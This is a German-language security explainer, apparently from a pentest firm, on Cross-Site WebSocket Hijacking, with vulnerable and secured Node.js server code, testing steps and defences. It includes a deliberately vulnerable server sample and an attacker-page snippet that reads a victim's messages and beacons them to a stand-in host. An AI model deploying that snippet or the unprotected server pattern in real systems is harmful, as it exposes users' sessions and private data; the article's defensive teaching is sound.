Cross-Site WebSocket Hijacking
CWE-1385CWE-346OWASP A01:2021Aktualisiert 4. September 20265 Min. Lesezeit
Eine WebSocket-Verbindung wird mit einer gewöhnlichen HTTP-Anfrage geöffnet, bei der der Browser Cookies mitsendet, auf die die Same-Origin-Policy jedoch nicht angewandt wird. Prüft der Server den Origin-Header nicht, kann eine beliebige Website im Namen Ihres angemeldeten Nutzers eine Verbindung öffnen, und anders als bei CSRF auch sämtliche Antworten lesen.
WebSockets fallen aus den Selbstverständlichkeiten heraus, auf die sich das übrige Web stützt. Die Same-Origin-Policy gilt dort nicht, CORS greift nicht ein, und dennoch sendet der Browser beim Öffnen der Verbindung ganz normal die Cookies mit. Diese Kombination macht eine Prüfung, die Ihnen der Browser anderswo abnimmt, hier zu Ihrer eigenen Verantwortung. Es geht auf eine ganz bestimmte Weise schief.
Was ist Cross-Site WebSocket Hijacking?
Eine WebSocket-Verbindung beginnt als gewöhnliche HTTP-Anfrage mit der Bitte, auf das WebSocket-Protokoll zu wechseln. Bei dieser Eröffnungsanfrage sendet der Browser alle Cookies für die Zieldomain mit, genau wie bei jeder anderen Anfrage. Was er nicht tut, ist die Same-Origin-Policy anzuwenden: Es gibt keine vorbereitende Anfrage und keine Richtlinie, die die Verbindung aufhielte.
Von Cross-Site WebSocket Hijacking spricht man, wenn der Server nicht prüft, von welchem Ursprung diese Verbindung geöffnet wird. Eine beliebige Website, die Ihr angemeldeter Nutzer besucht, kann dann eine Verbindung zu Ihrer Anwendung aufbauen, die vollständig authentifiziert ist, mit der Sitzung des Opfers, und darüber in beide Richtungen kommunizieren.
Die Abgrenzung zu CSRF ist wichtig. Bei CSRF kann ein Angreifer eine Anfrage ausführen lassen, die Antwort aber nicht lesen; der Browser hält das auf. Hier gibt es keinen Browser, der etwas aufhält: Es entsteht ein offener Kanal, über den der Angreifer sendet und empfängt, solange die Verbindung besteht.
Wie läuft ein WebSocket-Hijacking-Angriff ab?
Verwundbar:
const { WebSocketServer } = require('ws');
const wss = new WebSocketServer({ server });
wss.on('connection', (socket, req) => {
const sitzung = leseSitzung(req.headers.cookie); // Cookie wurde mitgesendet
if (!sitzung) return socket.close();
socket.on('message', async (nachricht) => {
const frage = JSON.parse(nachricht);
if (frage.typ === 'nachrichten') {
socket.send(JSON.stringify(await nachrichten.fuer(sitzung.userId)));
}
});
});
Die Sitzung wird ordentlich geprüft, nur angemeldete Nutzer erhalten also eine Verbindung. Was fehlt, ist die Frage, von wo aus diese Verbindung geöffnet wird. Auf der Seite eines Angreifers genügt dann Folgendes:
// Läuft, sobald ein angemeldetes Opfer diese Seite besucht
const ws = new WebSocket('wss://portal.example/kanal');
ws.onopen = () => ws.send(JSON.stringify({ typ: 'nachrichten' }));
ws.onmessage = (e) => {
navigator.sendBeacon('https://boesartig.example/in', e.data);
};
Der Browser sendet beim Öffnen das Session-Cookie mit, der Server sieht eine gültige Sitzung, und die Verbindung kommt zustande. Von diesem Moment an kann der Angreifer jeden Befehl senden, den Ihr Protokoll unterstützt, und jede Antwort lesen: Nachrichten, Daten, Meldungen. Das Opfer muss lediglich die Seite geöffnet lassen.
Sicher:
const ERLAUBT = new Set(['https://portal.example']);
const wss = new WebSocketServer({
server,
verifyClient: ({ origin, req }, fertig) => {
if (!ERLAUBT.has(origin)) { // exakte Übereinstimmung
return fertig(false, 403, 'Ursprung nicht erlaubt');
}
fertig(true);
},
});
wss.on('connection', (socket, req) => {
// Authentifizierung über ein ausdrückliches Token, nicht über das mitgesendete Cookie
socket.ersteNachricht = true;
socket.on('message', async (nachricht) => {
const frage = JSON.parse(nachricht);
if (socket.ersteNachricht) {
socket.nutzer = await pruefeKanaltoken(frage.token);
socket.ersteNachricht = false;
if (!socket.nutzer) return socket.close(4401, 'Nicht authentifiziert');
return;
}
// ... Verarbeitung mit socket.nutzer
});
});
Hier greifen zwei voneinander unabhängige Maßnahmen ineinander. Die Prüfung des Ursprungs weist Verbindungen von jeder anderen Domain ab. Und die Authentifizierung läuft nicht mehr über das automatisch mitgesendete Cookie, sondern über ein kurzlebiges Token, das die Anwendung ausdrücklich anfordert und als erste Nachricht sendet, etwas, das eine fremde Seite nicht erlangen kann.
Origin-Header ist bei Anfragen aus einem Browser vertrauenswürdig, denn der Browser füllt ihn selbst aus und lässt sich darin von Skriptcode nicht steuern. Er ist es nicht bei Anfragen außerhalb eines Browsers: Ein Skript oder Werkzeug trägt dort ein, was es möchte. Nutzen Sie die Prüfung, um browserbasierte Angriffe zu blockieren, und nie als einzige Form der Authentifizierung.Welche Auswirkungen hat Cross-Site WebSocket Hijacking?
Der Schweregrad reicht von mittel bis hoch und richtet sich danach, was über den Kanal läuft. WebSockets werden gerade für die lebendigen Teile einer Anwendung eingesetzt: Chatnachrichten, Meldungen, aktuelle Übersichten, gemeinsames Arbeiten an Dokumenten. Das sind meist inhaltliche Informationen, nicht nur Metadaten.
Da der Kanal in beide Richtungen arbeitet, bleibt es nicht beim Mitlesen. Unterstützt Ihr Protokoll auch Vorgänge, das Senden einer Nachricht, das Ändern einer Einstellung, das Bearbeiten eines Dokuments, kann der Angreifer diese im Namen des Opfers ausführen. Und die Verbindung bleibt offen, solange der Tab offen ist, wodurch er nicht einen Moment, sondern einen zusammenhängenden Zeitraum mitverfolgt.
Die Erkennung ist schwierig. Auf der Serverseite besteht eine normale, authentifizierte Verbindung eines bekannten Nutzers. Das einzig Abweichende ist der Ursprung, und genau der wird nicht geprüft, worin die Schwachstelle besteht.
Wie spürt man Cross-Site WebSocket Hijacking auf?
Ein Tester sucht zunächst, wo die Anwendung WebSockets einsetzt; das ist im Netzwerkverkehr als Anfrage sichtbar, die auf eine 101-Antwort wechselt. Anschließend wird die Eröffnungsanfrage mit geändertem oder fehlendem Origin-Header wiederholt, um zu sehen, ob die Verbindung dennoch zustande kommt.
Gelingt das, wird untersucht, was über den Kanal möglich ist: welche Nachrichtentypen akzeptiert werden, welche Daten zurückkommen und ob sich Vorgänge ausführen lassen. Ebenso wird geprüft, ob die Autorisierung je Nachricht erfolgt oder nur beim Aufbau der Verbindung, denn ein Kanal, der nach der Authentifizierung jeden Befehl annimmt, ist für den Zugriff auf fremde Daten innerhalb derselben Verbindung anfällig. Zusätzlich wird geprüft, ob das Session-Cookie ein SameSite-Attribut trägt, das den Angriff ohnehin bricht. AssistSec bezieht WebSocket-Kanäle ausdrücklich in einen Penetrationstest ein, denn automatisierte Werkzeuge übergehen sie nahezu immer, während die dahinterliegende Funktion oft sensibel ist.
Wie verhindert man Cross-Site WebSocket Hijacking?
- Prüfen Sie beim Aufbau jeder WebSocket-Verbindung den
Origin-Header gegen eine feste Liste. - Authentifizieren Sie die Verbindung mit einem kurzlebigen Token als erster Nachricht, nicht mit dem mitgesendeten Cookie.
- Autorisieren Sie jede einzelne Nachricht, nicht nur den Aufbau der Verbindung.
- Geben Sie Kanaltoken eine kurze Gültigkeit und machen Sie sie nach Gebrauch ungültig.
- Setzen Sie
SameSite=StrictoderLaxam Session-Cookie als ergänzende Schicht. - Verwenden Sie ausschließlich
wss://, damit der Verkehr verschlüsselt ist. - Begrenzen Sie die Zahl der Verbindungen und Nachrichten je Nutzer, um Missbrauch einzuhegen.
- Schließen Sie Verbindungen, wenn die zugrunde liegende Sitzung abläuft oder widerrufen wird.
- Protokollieren Sie den Aufbau von Verbindungen einschließlich des Ursprungs, damit Abweichungen sichtbar werden.
Quellen
Häufige Fragen
Warum schützt CORS hier nicht?
Weil der CORS-Mechanismus auf WebSocket-Verbindungen nicht angewandt wird. Der Browser führt keine vorbereitende Anfrage durch und erzwingt keine Richtlinie; er sendet lediglich den Origin-Header mit. Was damit geschieht, muss der Server vollständig selbst bestimmen.
Ist das schlimmer als CSRF?
In der Folge meist ja. Bei CSRF kann ein Angreifer eine Aktion erzwingen, die Antwort aber nicht lesen. Beim WebSocket-Hijacking steht ein Kanal in beide Richtungen offen: Er sendet Nachrichten und empfängt alles, was der Server zurücksendet, für die Dauer der Verbindung.
Hilft SameSite am Cookie?
Ja, ein SameSite von Lax oder Strict verhindert, dass das Session-Cookie bei einer von einer fremden Seite geöffneten Verbindung mitgeht, und das bricht den Angriff. Betrachten Sie es als nützliche zusätzliche Schicht; die Prüfung des Origin bleibt die entscheidende Maßnahme.
Was ist besser als Cookies?
Authentifizieren Sie die Verbindung mit einem kurzlebigen Token, das Ihre Anwendung ausdrücklich anfordert und als erste Nachricht über den Kanal sendet. Da der Browser dieses Token nicht automatisch mitsendet, kann eine fremde Seite keine authentifizierte Verbindung aufbauen.
Verwandte Artikel
- SchwachstellenCWE-284A01:2021Broken Access ControlBroken Access Control erklärt: horizontale und vertikale Rechteausweitung, Forced Browsing und warum Deny by Default serverseitig gehört.
- SchwachstellenCWE-942A05:2021Unsichere CORS-KonfigurationEine CORS-Richtlinie, die jede Herkunft spiegelt, gibt fremden Seiten Zugriff auf Ihre API im Namen angemeldeter Nutzer. Lesen Sie, wie Sie sie richtig setzen.
- SchwachstellenCWE-352A01:2021Cross-Site Request Forgery (CSRF)Cross-Site Request Forgery (CSRF) erklärt: wie Angreifer den Browser angemeldeter Nutzer für ungewollte Aktionen missbrauchen und wie Sie das verhindern.
- SchwachstellenCWE-1275A07:2021SameSite-Attribut auf Lax statt StrictSameSite=Lax lässt Cookies bei Navigation von externen Seiten weiterhin mitgehen. Lesen Sie, wann das ein Risiko ist und wann Strict die bessere Wahl ist.
- SchwachstellenCWE-1004A07:2021Ungeschütztes AuthentifizierungscookieEin Session-Cookie ohne HttpOnly, Secure und SameSite ist auslesbar, abfangbar und missbrauchbar. Lesen Sie, was jedes Attribut genau abdeckt.